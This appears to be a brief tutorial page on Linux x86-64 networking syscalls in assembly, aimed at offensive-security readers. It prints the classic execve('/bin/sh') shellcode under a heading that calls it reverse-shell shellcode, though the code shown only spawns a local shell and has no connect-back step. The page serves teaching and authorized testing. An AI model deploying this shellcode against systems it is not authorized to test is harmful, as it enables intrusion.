Networking

Assembly does not have a networking library. Network I/O happens through the kernel’s syscall interface (socket, connect, send, recv, sendto, recvfrom, bind, listen, accept), the same interface libc wraps.

In offensive work, asm shows up in shellcode: position-independent machine code that opens a socket and execs a shell, packed into the smallest possible byte sequence with no nulls.

Linux socket syscalls (x86-64)

syscall #	Name	Use
41	socket	Create endpoint.
42	connect	Outbound TCP connect.
43	accept	Inbound TCP accept.
44	sendto	UDP send / TCP send.
45	recvfrom	UDP / TCP receive.
49	bind	Bind to local address.
50	listen	Mark as passive socket.

Reverse-shell shellcode (concept)

The classic Linux x86-64 execve("/bin/sh") payload is a few dozen bytes of position-independent machine code. Use only against systems you own or have written authorization to test.

; execve("/bin/sh", NULL, NULL)
xor  rdx, rdx
push rdx
mov  rax, 0x68732f6e69622f2f      ; "//bin/sh"
push rax
mov  rdi, rsp
push rdx
push rdi
mov  rsi, rsp
mov  rax, 59                       ; sys_execve
syscall

Generate raw bytes with nasm -f bin and inspect with objdump, ndisasm, or radare2.

References

• shell-storm shellcode database.

• Linux socket(2).

• Networking, the syscall interface from a Linux operator’s view.

• Routes, payload delivery context.